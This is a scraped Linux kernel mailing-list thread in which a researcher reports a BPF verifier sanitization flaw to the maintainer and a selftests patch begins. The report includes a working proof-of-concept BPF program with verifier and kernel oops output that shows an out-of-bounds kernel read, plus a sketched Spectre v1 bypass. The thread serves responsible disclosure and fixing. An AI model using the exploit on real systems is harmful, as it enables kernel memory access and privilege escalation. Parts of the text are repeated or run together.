from 6 to 8: R0=map_value(id=0,off=0,ks=4,vs=8,imm=0) R10=fp0,call_-1 fp-16=mmmmmmmm
8: (71) r1 = *(u8 *)(r0 +0)
R0=map_value(id=0,off=0,ks=4,vs=8,imm=0) R10=fp0,call_-1 fp-16=mmmmmmmm
9: (55) if r1 != 0x0 goto pc+3
R0=map_value(id=0,off=0,ks=4,vs=8,imm=0) R1=inv0 R10=fp0,call_-1 fp-16=mmmmmmmm
10: (bf) r2 = r0
11: (b7) r3 = 0
12: (05) goto pc+2
15: (0f) r2 += r3
R0=map_value(id=0,off=0,ks=4,vs=8,imm=0) R1=inv0
R2_w=map_value(id=0,off=0,ks=4,vs=8,imm=0) R3_w=inv0 R10=fp0,call_-1 fp-16=mmmmmmmm
16: (55) if r1 != 0x0 goto pc+1
17: (05) goto pc+4
22: (71) r0 = *(u8 *)(r0 +0)
R0_w=map_value(id=0,off=0,ks=4,vs=8,imm=0) R1=inv0
R2=map_value(id=0,off=0,ks=4,vs=8,imm=0) R3=inv0 R10=fp0,call_-1 fp-16=mmmmmmmm
23: (b7) r0 = 0
24: (95) exit
from 15 to 16 (speculative execution): safe
from 9 to 13: R0=map_value(id=0,off=0,ks=4,vs=8,imm=0) R1=inv(id=0,umax_value=255,var_off=(0x0; 0xff)) R10=fp0,call_-1 fp-16=mmmmmmmm
13: (b7) r2 = 0
14: (b7) r3 = 1048576
15: (0f) r2 += r3
16: (55) if r1 != 0x0 goto pc+1
R0=map_value(id=0,off=0,ks=4,vs=8,imm=0) R1=inv0 R2=inv1048576
R3=inv1048576 R10=fp0,call_-1 fp-16=mmmmmmmm
17: (05) goto pc+4
22: safe
from 16 to 18: R0=map_value(id=0,off=0,ks=4,vs=8,imm=0) R1=inv(id=0,umax_value=255,var_off=(0x0; 0xff)) R2=inv1048576 R3=inv1048576 R10=fp0,call_-1 fp-16=mmmmmmmm
18: (b7) r0 = 322376503
19: (55) if r2 != 0x100000 goto pc+2
20: (b7) r0 = 0
21: (95) exit
processed 29 insns (limit 131072), stack depth 16
=============
dmesg:
=============
[ 9948.417809] flen=38 proglen=205 pass=5 image=0000000039846164 from=test pid=2185 [ 9948.421291] JIT code: 00000000: 55 48 89 e5 48 81 ec 38 00 00 00 48 83 ed 28 48 [ 9948.424560] JIT code: 00000010: 89 5d 00 4c 89 6d 08 4c 89 75 10 4c 89 7d 18 31 [ 9948.428734] JIT code: 00000020: c0 48 89 45 20 48 bf 88 43 c3 da 81 88 ff ff 48 [ 9948.433479] JIT code: 00000030: 89 ee 48 83 c6 f0 48 c7 45 f0 00 00 00 00 48 81 [ 9948.437504] JIT code: 00000040: c7 d0 00 00 00 8b 46 00 48 83 f8 1e 73 0c 83 e0 [ 9948.443528] JIT code: 00000050: 1f 48 c1 e0 03 48 01 f8 eb 02 31 c0 48 83 f8 00 [ 9948.447364] JIT code: 00000060: 75 16 48 8b 5d 00 4c 8b 6d 08 4c 8b 75 10 4c 8b [ 9948.451079] JIT code: 00000070: 7d 18 48 83 c5 28 c9 c3 48 0f b6 78 00 48 83 ff [ 9948.454900] JIT code: 00000080: 00 75 07 48 89 c6 31 d2 eb 07 31 f6 ba 00 00 10 [ 9948.459435] JIT code: 00000090: 00 41 ba 07 00 00 00 49 29 d2 49 09 d2 49 f7 da [ 9948.466041] JIT code: 000000a0: 49 c1 fa 3f 49 21 d2 4c 01 d6 48 83 ff 00 75 02 [ 9948.470384] JIT code: 000000b0: eb 12 b8 37 13 37 13 48 81 fe 00 00 10 00 75 04 [ 9948.474085] JIT code: 000000c0: 31 c0 eb 9e 48 0f b6 40 00 31 c0 eb 95 [ 9948.478102] BUG: unable to handle kernel paging request at 0000000013371337 [ 9948.481562] #PF error: [normal kernel read fault] [ 9948.483878] PGD 0 P4D 0 [ 9948.485139] Oops: 0000 [#1] PREEMPT SMP DEBUG_PAGEALLOC KASAN [ 9948.487945] CPU: 5 PID: 2185 Comm: test Not tainted 4.20.0+ #225 [ 9948.490864] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.10.2-1 04/01/2014 [ 9948.494912] RIP: 0010:0xffffffffc01602f3 [ 9948.497212] Code: 49 09 d2 49 f7 da 49 c1 fa 3f 49 21 d2 4c 01 d6 48 83 ff 00 75 02 eb 12 b8 37 13 37 13 48 81 fe 00 00 10 00 75 04 31 c0 eb 9e <48> 0f b6 40 00 31 c0 eb 95 cc cc cc cc cc cc cc cc cc cc cc cc cc [ 9948.506340] RSP: 0018:ffff8881e473f968 EFLAGS: 00010287 [ 9948.508857] RAX: 0000000013371337 RBX: ffff8881e8f01e40 RCX: ffffffff9388f848 [ 9948.512263] RDX: 0000000000100000 RSI: 0000000000000000 RDI: 0000000000000001 [ 9948.515653] RBP: ffff8881e473f978 R08: ffffed103b747002 R09: ffffed103b747002 [ 9948.519056] R10: 0000000000000000 R11: ffffed103b747001 R12: 0000000000000000 [ 9948.522452] R13: 0000000000000001 R14: ffff8881e2718600 R15: ffffc90001572000 [ 9948.525840] FS: 00007f2ad28ad700(0000) GS:ffff8881eb140000(0000) knlGS:0000000000000000 [ 9948.529708] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 9948.532450] CR2: 0000000013371337 CR3: 00000001e76c5004 CR4: 00000000003606e0 [ 9948.535834] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 [ 9948.539217] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400 [ 9948.542581] Call Trace: [ 9948.543760] ? sk_filter_trim_cap+0x148/0x2d0 [ 9948.545847] ? sk_reuseport_is_valid_access+0xa0/0xa0 [ 9948.548249] ? skb_copy_datagram_from_iter+0x6e/0x280 [ 9948.550655] ? _raw_spin_unlock+0x16/0x30 [ 9948.552581] ? deactivate_slab.isra.68+0x59d/0x600 [ 9948.554866] ? unix_scm_to_skb+0xd1/0x230 [ 9948.556780] ? unix_dgram_sendmsg+0x312/0x940 [ 9948.558856] ? unix_stream_connect+0x980/0x980 [ 9948.560986] ? aa_sk_perm+0x10c/0x3f0 [ 9948.563123] ? kasan_unpoison_shadow+0x35/0x40 [ 9948.565107] ? aa_af_perm+0x1e0/0x1e0 [ 9948.566608] ? kasan_unpoison_shadow+0x35/0x40 [ 9948.568463] ? unix_stream_connect+0x980/0x980 [ 9948.570397] ? sock_sendmsg+0x6d/0x80 [ 9948.571948] ? sock_write_iter+0x121/0x1c0 [ 9948.573678] ? sock_sendmsg+0x80/0x80 [ 9948.575258] ? sock_enable_timestamp+0x60/0x60 [ 9948.576958] ? iov_iter_init+0x86/0xc0 [ 9948.578395] ? __vfs_write+0x294/0x3b0 [ 9948.579782] ? kernel_read+0xa0/0xa0 [ 9948.581152] ? apparmor_task_setrlimit+0x330/0x330 [ 9948.582919] ? vfs_write+0xe7/0x230 [ 9948.584228] ? ksys_write+0xa1/0x120 [ 9948.585559] ? __ia32_sys_read+0x50/0x50 [ 9948.587174] ? do_syscall_64+0x73/0x160 [ 9948.588872] ? entry_SYSCALL_64_after_hwframe+0x44/0xa9 [ 9948.591134] Modules linked in: btrfs xor zstd_compress raid6_pq [ 9948.593654] CR2: 0000000013371337 [ 9948.595078] ---[ end trace cea5ab7027131bf2 ]---
=============
Aside from that, I also think that the pruning of "dead code" probably still permits v1 speculative execution attacks when code vaguely like the following is encountered, if it is possible to convince the CPU to mispredict the second branch, but I haven't tested that so far:
R0 = <slow map value, known to be 0>;
R1 = <fast map value>;
if (R1 != R0) { // mispredicted
return 0;
}
R3 = <a map value pointer>;
R2 = <arbitrary 64-bit number>;
if (R1 == 0) { // architecturally always taken, verifier prunes other branch
R2 = <a map value pointer>;
}
access R3[R2[0] & 1];
To convince the CPU to predict the second branch the way you want, you could probably add another code path that jumps in front of the branch with both R2 and R3 already containing valid pointers. Something like this:
if (<some map value>) {
R0 = <slow map value, known to be 0>;
R1 = <fast map value>;
if (R1 != R0) { // mispredicted
return 0;
}
R3 = <a map value pointer>;
R2 = <arbitrary 64-bit number>;} else { R3 = <a map value pointer>;
R2 = <arbitrary 64-bit number>; R1 = 1;}
if (R1 == 0) { // architecturally always taken, verifier prunes other branch
R2 = <a map value pointer>;
}
access R3[R2[0] & 1];
Daniel Borkmann
maintainerRe: [PATCH bpf v3 8/9] bpf: prevent out of bounds speculation on pointer arithmetic
Hi Jann,
Quoted 237 lines · Jann Horn
Hi!
Sorry about the extremely slow reply, I was on vacation over the holidays and only got back today.
Quoted 11 lines · Daniel Borkmann
Jann reported that the original commit back in
b2157399cc98("bpf: prevent out-of-bounds speculation") was not sufficient to stop CPU from speculating out of bounds memory access:
Whileb2157399cc98only focussed on masking array map access for unprivileged users for tail calls and data access such that the user provided index gets sanitized from BPF program and syscall side, there is still a more generic form affected from BPF programs that applies to most maps that hold user data in relation to dynamic map access when dealing with unknown scalars or "slow" known scalars as access offset, for example:[...]
Quoted 6 lines
kernel/bpf/verifier.c +6
-0+static int sanitize_ptr_alu (struct bpf_verifier_env *env, +struct bpf_insn *insn, +const struct bpf_reg_state *ptr_reg, +struct bpf_reg_state *dst_reg, +bool off_is_neg) +{[...]
kernel/bpf/verifier.c static bool check_reg_sane_offset(struct bpf_verifier_env *env, · line 3143
Quoted 8 lines
kernel/bpf/verifier.c +8
-0+ +/* If we arrived here from different branches with different +* limits to sanitize, then this won't work. +*/ +if (aux->alu_state && + (aux->alu_state != alu_state || + aux->alu_limit != alu_limit)) +return -EACCES ;This code path doesn't get triggered in the case where the same
ALU_ADD64instruction is used for both "ptr += reg" and "numeric_reg+= reg". This leads to kernel read/write because the code intended to ensure safety of the "ptr += reg" case in speculative execution ends up clobbering the addend in the "numeric_reg+= reg" case:source code:
=============
int main(void) {
intmy_map=array_create(8, 30);
array_set(my_map, 0, 1);struct bpf_insn insns[] = { // load map value pointer into r0 and r2 BPF_LD_MAP_FD(BPF_REG_ARG1, my_map), BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_FP), BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG2, -16), BPF_ST_MEM(BPF_DW, BPF_REG_FP, -16, 0), BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem), BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), BPF_EXIT_INSN(), // load some number from the map into r1 BPF_LDX_MEM(BPF_B, BPF_REG_1, BPF_REG_0, 0), // depending on R1, branch: BPF_JMP_IMM(BPF_JNE, BPF_REG_1, 0, 3), // branch A BPF_MOV64_REG(BPF_REG_2, BPF_REG_0), BPF_MOV64_IMM(BPF_REG_3, 0), BPF_JMP_A(2), // branch B BPF_MOV64_IMM(BPF_REG_2, 0), BPF_MOV64_IMM(BPF_REG_3, 0x100000), // *** COMMON INSTRUCTION *** BPF_ALU64_REG(BPF_ADD, BPF_REG_2, BPF_REG_3), // depending on R1, branch: BPF_JMP_IMM(BPF_JNE, BPF_REG_1, 0, 1), // branch A BPF_JMP_A(4), // branch B BPF_MOV64_IMM(BPF_REG_0, 0x13371337), // verifier-confused branch: verifier follows fall-through, runtime follows jump BPF_JMP_IMM(BPF_JNE, BPF_REG_2, 0x100000, 2), BPF_MOV64_IMM(BPF_REG_0, 0), BPF_EXIT_INSN(), // fake-dead code; targeted from branch A to prevent dead code sanitization BPF_LDX_MEM(BPF_B, BPF_REG_0, BPF_REG_0, 0), BPF_MOV64_IMM(BPF_REG_0, 0), BPF_EXIT_INSN()};
intsock_fd=create_filtered_socket_fd(insns, ARRSIZE(insns));trigger_proc(sock_fd);
}
=============verifier output:
=============
0: (18) r1 =0x0
2: (bf) r2 = r10
3: (07) r2 += -16
4: (7a) *(u64 *)(r10 -16) = 0
5: (85) call bpf_map_lookup_elem#1
6: (55) if r0 !=0x0goto pc+1
R0=inv0 R10=fp0,call_-1 fp-16=mmmmmmmm
7: (95) exitfrom 6 to 8: R0=map_value(id=0,off=0,ks=4,vs=8,imm=0) R10=fp0,call_-1 fp-16=mmmmmmmm
8: (71) r1 = *(u8 *)(r0 +0)
R0=map_value(id=0,off=0,ks=4,vs=8,imm=0) R10=fp0,call_-1 fp-16=mmmmmmmm
9: (55) if r1 !=0x0goto pc+3
R0=map_value(id=0,off=0,ks=4,vs=8,imm=0) R1=inv0 R10=fp0,call_-1 fp-16=mmmmmmmm
10: (bf) r2 = r0
11: (b7) r3 = 0
12: (05) goto pc+2
15: (0f) r2 += r3
R0=map_value(id=0,off=0,ks=4,vs=8,imm=0) R1=inv0
R2_w=map_value(id=0,off=0,ks=4,vs=8,imm=0) R3_w=inv0 R10=fp0,call_-1 fp-16=mmmmmmmm
16: (55) if r1 !=0x0goto pc+1
17: (05) goto pc+4
22: (71) r0 = *(u8 *)(r0 +0)
R0_w=map_value(id=0,off=0,ks=4,vs=8,imm=0) R1=inv0
R2=map_value(id=0,off=0,ks=4,vs=8,imm=0) R3=inv0 R10=fp0,call_-1 fp-16=mmmmmmmm
23: (b7) r0 = 0
24: (95) exitfrom 15 to 16 (speculative execution): safe
from 9 to 13: R0=map_value(id=0,off=0,ks=4,vs=8,imm=0) R1=inv(id=0,umax_value=255,var_off=(0x0;
0xff)) R10=fp0,call_-1 fp-16=mmmmmmmm
13: (b7) r2 = 0
14: (b7) r3 = 1048576
15: (0f) r2 += r3
16: (55) if r1 !=0x0goto pc+1
R0=map_value(id=0,off=0,ks=4,vs=8,imm=0) R1=inv0 R2=inv1048576
R3=inv1048576 R10=fp0,call_-1 fp-16=mmmmmmmm
17: (05) goto pc+4
22: safefrom 16 to 18: R0=map_value(id=0,off=0,ks=4,vs=8,imm=0) R1=inv(id=0,umax_value=255,var_off=(0x0;
0xff)) R2=inv1048576 R3=inv1048576 R10=fp0,call_-1 fp-16=mmmmmmmm
18: (b7) r0 = 322376503
19: (55) if r2 !=0x100000goto pc+2
20: (b7) r0 = 0
21: (95) exit
processed 29 insns (limit 131072), stack depth 16
=============dmesg:
=============[ 9948.417809] flen=38 proglen=205 pass=5 image=0000000039846164 from=test pid=2185 [ 9948.421291] JIT code: 00000000: 55 48 89 e5 48 81 ec 38 00 00 00 48 83 ed 28 48 [ 9948.424560] JIT code: 00000010: 89 5d 00 4c 89 6d 08 4c 89 75 10 4c 89 7d 18 31 [ 9948.428734] JIT code: 00000020: c0 48 89 45 20 48 bf 88 43 c3 da 81 88 ff ff 48 [ 9948.433479] JIT code: 00000030: 89 ee 48 83 c6 f0 48 c7 45 f0 00 00 00 00 48 81 [ 9948.437504] JIT code: 00000040: c7 d0 00 00 00 8b 46 00 48 83 f8 1e 73 0c 83 e0 [ 9948.443528] JIT code: 00000050: 1f 48 c1 e0 03 48 01 f8 eb 02 31 c0 48 83 f8 00 [ 9948.447364] JIT code: 00000060: 75 16 48 8b 5d 00 4c 8b 6d 08 4c 8b 75 10 4c 8b [ 9948.451079] JIT code: 00000070: 7d 18 48 83 c5 28 c9 c3 48 0f b6 78 00 48 83 ff [ 9948.454900] JIT code: 00000080: 00 75 07 48 89 c6 31 d2 eb 07 31 f6 ba 00 00 10 [ 9948.459435] JIT code: 00000090: 00 41 ba 07 00 00 00 49 29 d2 49 09 d2 49 f7 da [ 9948.466041] JIT code: 000000a0: 49 c1 fa 3f 49 21 d2 4c 01 d6 48 83 ff 00 75 02 [ 9948.470384] JIT code: 000000b0: eb 12 b8 37 13 37 13 48 81 fe 00 00 10 00 75 04 [ 9948.474085] JIT code: 000000c0: 31 c0 eb 9e 48 0f b6 40 00 31 c0 eb 95 [ 9948.478102] BUG: unable to handle kernel paging request at 0000000013371337 [ 9948.481562] #PF error: [normal kernel read fault] [ 9948.483878] PGD 0 P4D 0 [ 9948.485139] Oops: 0000 [#1] PREEMPT SMP DEBUG_PAGEALLOC KASAN [ 9948.487945] CPU: 5 PID: 2185 Comm: test Not tainted 4.20.0+ #225 [ 9948.490864] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.10.2-1 04/01/2014 [ 9948.494912] RIP: 0010:0xffffffffc01602f3 [ 9948.497212] Code: 49 09 d2 49 f7 da 49 c1 fa 3f 49 21 d2 4c 01 d6 48 83 ff 00 75 02 eb 12 b8 37 13 37 13 48 81 fe 00 00 10 00 75 04 31 c0 eb 9e <48> 0f b6 40 00 31 c0 eb 95 cc cc cc cc cc cc cc cc cc cc cc cc cc [ 9948.506340] RSP: 0018:ffff8881e473f968 EFLAGS: 00010287 [ 9948.508857] RAX: 0000000013371337 RBX: ffff8881e8f01e40 RCX: ffffffff9388f848 [ 9948.512263] RDX: 0000000000100000 RSI: 0000000000000000 RDI: 0000000000000001 [ 9948.515653] RBP: ffff8881e473f978 R08: ffffed103b747002 R09: ffffed103b747002 [ 9948.519056] R10: 0000000000000000 R11: ffffed103b747001 R12: 0000000000000000 [ 9948.522452] R13: 0000000000000001 R14: ffff8881e2718600 R15: ffffc90001572000 [ 9948.525840] FS: 00007f2ad28ad700(0000) GS:ffff8881eb140000(0000) knlGS:0000000000000000 [ 9948.529708] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 9948.532450] CR2: 0000000013371337 CR3: 00000001e76c5004 CR4: 00000000003606e0 [ 9948.535834] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 [ 9948.539217] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400 [ 9948.542581] Call Trace: [ 9948.543760] ? sk_filter_trim_cap+0x148/0x2d0 [ 9948.545847] ? sk_reuseport_is_valid_access+0xa0/0xa0 [ 9948.548249] ? skb_copy_datagram_from_iter+0x6e/0x280 [ 9948.550655] ? _raw_spin_unlock+0x16/0x30 [ 9948.552581] ? deactivate_slab.isra.68+0x59d/0x600 [ 9948.554866] ? unix_scm_to_skb+0xd1/0x230 [ 9948.556780] ? unix_dgram_sendmsg+0x312/0x940 [ 9948.558856] ? unix_stream_connect+0x980/0x980 [ 9948.560986] ? aa_sk_perm+0x10c/0x3f0 [ 9948.563123] ? kasan_unpoison_shadow+0x35/0x40 [ 9948.565107] ? aa_af_perm+0x1e0/0x1e0 [ 9948.566608] ? kasan_unpoison_shadow+0x35/0x40 [ 9948.568463] ? unix_stream_connect+0x980/0x980 [ 9948.570397] ? sock_sendmsg+0x6d/0x80 [ 9948.571948] ? sock_write_iter+0x121/0x1c0 [ 9948.573678] ? sock_sendmsg+0x80/0x80 [ 9948.575258] ? sock_enable_timestamp+0x60/0x60 [ 9948.576958] ? iov_iter_init+0x86/0xc0 [ 9948.578395] ? __vfs_write+0x294/0x3b0 [ 9948.579782] ? kernel_read+0xa0/0xa0 [ 9948.581152] ? apparmor_task_setrlimit+0x330/0x330 [ 9948.582919] ? vfs_write+0xe7/0x230 [ 9948.584228] ? ksys_write+0xa1/0x120 [ 9948.585559] ? __ia32_sys_read+0x50/0x50 [ 9948.587174] ? do_syscall_64+0x73/0x160 [ 9948.588872] ? entry_SYSCALL_64_after_hwframe+0x44/0xa9 [ 9948.591134] Modules linked in: btrfs xor zstd_compress raid6_pq [ 9948.593654] CR2: 0000000013371337 [ 9948.595078] ---[ end trace cea5ab7027131bf2 ]---
Quoted 1 line
=============
Good point, thanks for catching this scenario! I'll get this fixed in order to reject such programs.
Quoted 27 lines
Aside from that, I also think that the pruning of "dead code" probably still permits v1 speculative execution attacks when code vaguely like the following is encountered, if it is possible to convince the CPU to mispredict the second branch, but I haven't tested that so far:
R0 = <slow map value, known to be 0>;
R1 = <fast map value>;
if (R1 != R0) { // mispredicted
return 0;
}
R3 = <a map value pointer>;
R2 = <arbitrary 64-bit number>;
if (R1 == 0) { // architecturally always taken, verifier prunes other branch
R2 = <a map value pointer>;
}
access R3[R2[0] & 1];To convince the CPU to predict the second branch the way you want, you could probably add another code path that jumps in front of the branch with both R2 and R3 already containing valid pointers. Something like this:
if (<some map value>) {
R0 = <slow map value, known to be 0>;
R1 = <fast map value>;
if (R1 != R0) { // mispredictedreturn 0;
Quoted 8 lines
}
R3 = <a map value pointer>;
R2 = <arbitrary 64-bit number>;} else { R3 = <a map value pointer>;
R2 = <arbitrary 64-bit number>; R1 = 1;}
if (R1 == 0) { // architecturally always taken, verifier prunes other branch
R2 = <a map value pointer>;
}
access R3[R2[0] & 1];
Thanks, I'll look into evaluating this case as well after the fix.
Best,
Daniel
Daniel Borkmann
maintainerPATCH v3 9/9 bpf: add various test cases to selftests
In reply to Daniel BorkmannAdd various map value pointer related test cases to test_verifier kselftest to reflect recent changes and improve test coverage. The tests include basic masking functionality, unprivileged behavior on pointer arithmetic which goes oob, mixed bounds tests, negative unknown scalar but resulting positive offset for access and helper range, handling of arithmetic from multiple maps, various masking scenarios with subsequent map value access and others including two test cases from Jann Horn for prior fixes.
--- tools/testing/selftests/bpf/test_verifier.c | 1146 ++++++++++++++++++++++++++- 1 file changed, 1124 insertions(+), 22 deletions(-)
tools/testing/selftests/bpf/test_verifier.c +1124 -22
@@ -23,6 +23,7 @@#include <stdbool.h> #include <sched.h> #include <limits.h> +#include <assert.h> #include <sys/capability.h>
@@ -2577,6 +2578,7 @@ static struct bpf_test tests[] = { }, .result = REJECT, .errstr = "invalid stack off=-79992 size=8", + .errstr_unpriv = "R1 stack pointer arithmetic goes out of range", }, { "PTR_TO_STACK store/load - out of bounds high",
@@ -3104,6 +3106,8 @@ static struct bpf_test tests[] = {BPF_STX_MEM (BPF_DW ,BPF_REG_1 ,BPF_REG_0 ,-8 ), BPF_EXIT_INSN(), }, + .errstr_unpriv ="R1 stack pointer arithmetic goes out of range" , + .result_unpriv = REJECT, .result = ACCEPT, }, {
@@ -3206,6 +3210,243 @@ static struct bpf_test tests[] = { .retval_unpriv = 2, }, { + "PTR_TO_STACK check high 1", + .insns = { +BPF_MOV64_REG (BPF_REG_1 ,BPF_REG_10 ), +BPF_ALU64_IMM (BPF_ADD ,BPF_REG_1 ,-1 ), +BPF_ST_MEM (BPF_B ,BPF_REG_1 ,0 ,42 ), +BPF_LDX_MEM (BPF_B ,BPF_REG_0 ,BPF_REG_1 ,0 ), + BPF_EXIT_INSN(), + }, + .result =ACCEPT , + .retval = 42, + }, + { +"PTR_TO_STACK check high 2" , + .insns = { +BPF_MOV64_REG (BPF_REG_1 ,BPF_REG_10 ), +BPF_ST_MEM (BPF_B ,BPF_REG_1 ,-1 ,42 ), +BPF_LDX_MEM (BPF_B ,BPF_REG_0 ,BPF_REG_1 ,-1 ), + BPF_EXIT_INSN(), + }, + .result =ACCEPT , + .retval = 42, + }, + { +"PTR_TO_STACK check high 3" , + .insns = { +BPF_MOV64_REG (BPF_REG_1 ,BPF_REG_10 ), +BPF_ALU64_IMM (BPF_ADD ,BPF_REG_1 ,0 ), +BPF_ST_MEM (BPF_B ,BPF_REG_1 ,-1 ,42 ), +BPF_LDX_MEM (BPF_B ,BPF_REG_0 ,BPF_REG_1 ,-1 ), + BPF_EXIT_INSN(), + }, + .errstr_unpriv ="R1 stack pointer arithmetic goes out of range" , + .result_unpriv = REJECT, + .result = ACCEPT, + .retval = 42, + }, + { +"PTR_TO_STACK check high 4" , + .insns = { +BPF_MOV64_REG (BPF_REG_1 ,BPF_REG_10 ), +BPF_ALU64_IMM (BPF_ADD ,BPF_REG_1 ,0 ), +BPF_ST_MEM (BPF_B ,BPF_REG_1 ,0 ,42 ), +BPF_LDX_MEM (BPF_B ,BPF_REG_0 ,BPF_REG_1 ,0 ), + BPF_EXIT_INSN(), + }, + .errstr_unpriv ="R1 stack pointer arithmetic goes out of range" , + .errstr = "invalid stack off=0 size=1", + .result = REJECT, + }, + { +"PTR_TO_STACK check high 5" , + .insns = { +BPF_MOV64_REG (BPF_REG_1 ,BPF_REG_10 ), +BPF_ALU64_IMM (BPF_ADD ,BPF_REG_1 , (1 <<29 ) -1 ), +BPF_ST_MEM (BPF_B ,BPF_REG_1 ,0 ,42 ), +BPF_LDX_MEM (BPF_B ,BPF_REG_0 ,BPF_REG_1 ,0 ), + BPF_EXIT_INSN(), + }, + .result =REJECT , + .errstr = "invalid stack off", + }, + { +"PTR_TO_STACK check high 6" , + .insns = { +BPF_MOV64_REG (BPF_REG_1 ,BPF_REG_10 ), +BPF_ALU64_IMM (BPF_ADD ,BPF_REG_1 , (1 <<29 ) -1 ), +BPF_ST_MEM (BPF_B ,BPF_REG_1 ,SHRT_MAX ,42 ), +BPF_LDX_MEM (BPF_B ,BPF_REG_0 ,BPF_REG_1 ,SHRT_MAX ), + BPF_EXIT_INSN(), + }, + .result =REJECT , + .errstr = "invalid stack off", + }, + { +"PTR_TO_STACK check high 7" , + .insns = { +BPF_MOV64_REG (BPF_REG_1 ,BPF_REG_10 ), +BPF_ALU64_IMM (BPF_ADD ,BPF_REG_1 , (1 <<29 ) -1 ), +BPF_ALU64_IMM (BPF_ADD ,BPF_REG_1 , (1 <<29 ) -1 ), +BPF_ST_MEM (BPF_B ,BPF_REG_1 ,SHRT_MAX ,42 ), +BPF_LDX_MEM (BPF_B ,BPF_REG_0 ,BPF_REG_1 ,SHRT_MAX ), + BPF_EXIT_INSN(), + }, + .result =REJECT , + .errstr_unpriv = "R1 stack pointer arithmetic goes out of range", + .errstr = "fp pointer offset", + }, + { +"PTR_TO_STACK check low 1" , + .insns = { +BPF_MOV64_REG (BPF_REG_1 ,BPF_REG_10 ), +BPF_ALU64_IMM (BPF_ADD ,BPF_REG_1 ,-512 ), +BPF_ST_MEM (BPF_B ,BPF_REG_1 ,0 ,42 ), +BPF_LDX_MEM (BPF_B ,BPF_REG_0 ,BPF_REG_1 ,0 ), + BPF_EXIT_INSN(), + }, + .result =ACCEPT , + .retval = 42, + }, + { +"PTR_TO_STACK check low 2" , + .insns = { +BPF_MOV64_REG (BPF_REG_1 ,BPF_REG_10 ), +BPF_ALU64_IMM (BPF_ADD ,BPF_REG_1 ,-513 ), +BPF_ST_MEM (BPF_B ,BPF_REG_1 ,1 ,42 ), +BPF_LDX_MEM (BPF_B ,BPF_REG_0 ,BPF_REG_1 ,1 ), + BPF_EXIT_INSN(), + }, + .result_unpriv =REJECT , + .errstr_unpriv = "R1 stack pointer arithmetic goes out of range", + .result = ACCEPT, + .retval = 42, + }, + { +"PTR_TO_STACK check low 3" , + .insns = { +BPF_MOV64_REG (BPF_REG_1 ,BPF_REG_10 ), +BPF_ALU64_IMM (BPF_ADD ,BPF_REG_1 ,-513 ), +BPF_ST_MEM (BPF_B ,BPF_REG_1 ,0 ,42 ), +BPF_LDX_MEM (BPF_B ,BPF_REG_0 ,BPF_REG_1 ,0 ), + BPF_EXIT_INSN(), + }, + .errstr_unpriv ="R1 stack pointer arithmetic goes out of range" , + .errstr = "invalid stack off=-513 size=1", + .result = REJECT, + }, + { +"PTR_TO_STACK check low 4" , + .insns = { +BPF_MOV64_REG (BPF_REG_1 ,BPF_REG_10 ), +BPF_ALU64_IMM (BPF_ADD ,BPF_REG_1 ,INT_MIN ), +BPF_ST_MEM (BPF_B ,BPF_REG_1 ,0 ,42 ), +BPF_LDX_MEM (BPF_B ,BPF_REG_0 ,BPF_REG_1 ,0 ), + BPF_EXIT_INSN(), + }, + .result =REJECT , + .errstr = "math between fp pointer", + }, + { +"PTR_TO_STACK check low 5" , + .insns = { +BPF_MOV64_REG (BPF_REG_1 ,BPF_REG_10 ), +BPF_ALU64_IMM (BPF_ADD ,BPF_REG_1 , -((1 <<29 ) -1 )), +BPF_ST_MEM (BPF_B ,BPF_REG_1 ,0 ,42 ), +BPF_LDX_MEM (BPF_B ,BPF_REG_0 ,BPF_REG_1 ,0 ), + BPF_EXIT_INSN(), + }, + .result =REJECT , + .errstr = "invalid stack off", + }, + { +"PTR_TO_STACK check low 6" , + .insns = { +BPF_MOV64_REG (BPF_REG_1 ,BPF_REG_10 ), +BPF_ALU64_IMM (BPF_ADD ,BPF_REG_1 , -((1 <<29 ) -1 )), +BPF_ST_MEM (BPF_B ,BPF_REG_1 ,SHRT_MIN ,42 ), +BPF_LDX_MEM (BPF_B ,BPF_REG_0 ,BPF_REG_1 ,SHRT_MIN ), + BPF_EXIT_INSN(), + }, + .result =REJECT , + .errstr = "invalid stack off", + }, + { +"PTR_TO_STACK check low 7" , + .insns = { +BPF_MOV64_REG (BPF_REG_1 ,BPF_REG_10 ), +BPF_ALU64_IMM (BPF_ADD ,BPF_REG_1 , -((1 <<29 ) -1 )), +BPF_ALU64_IMM (BPF_ADD ,BPF_REG_1 , -((1 <<29 ) -1 )), +BPF_ST_MEM (BPF_B ,BPF_REG_1 ,SHRT_MIN ,42 ), +BPF_LDX_MEM (BPF_B ,BPF_REG_0 ,BPF_REG_1 ,SHRT_MIN ), + BPF_EXIT_INSN(), + }, + .result =REJECT , + .errstr_unpriv = "R1 stack pointer arithmetic goes out of range", + .errstr = "fp pointer offset", + }, + { +"PTR_TO_STACK mixed reg/k, 1" , + .insns = { +BPF_MOV64_REG (BPF_REG_1 ,BPF_REG_10 ), +BPF_ALU64_IMM (BPF_ADD ,BPF_REG_1 ,-3 ), +BPF_MOV64_IMM (BPF_REG_2 ,-3 ), +BPF_ALU64_REG (BPF_ADD ,BPF_REG_1 ,BPF_REG_2 ), +BPF_ST_MEM (BPF_B ,BPF_REG_1 ,0 ,42 ), +BPF_LDX_MEM (BPF_B ,BPF_REG_0 ,BPF_REG_1 ,0 ), + BPF_EXIT_INSN(), + }, + .result =ACCEPT , + .retval = 42, + }, + { +"PTR_TO_STACK mixed reg/k, 2" , + .insns = { +BPF_ST_MEM (BPF_DW ,BPF_REG_10 ,-8 ,0 ), +BPF_ST_MEM (BPF_DW ,BPF_REG_10 ,-16 ,0 ), +BPF_MOV64_REG (BPF_REG_1 ,BPF_REG_10 ), +BPF_ALU64_IMM (BPF_ADD ,BPF_REG_1 ,-3 ), +BPF_MOV64_IMM (BPF_REG_2 ,-3 ), +BPF_ALU64_REG (BPF_ADD ,BPF_REG_1 ,BPF_REG_2 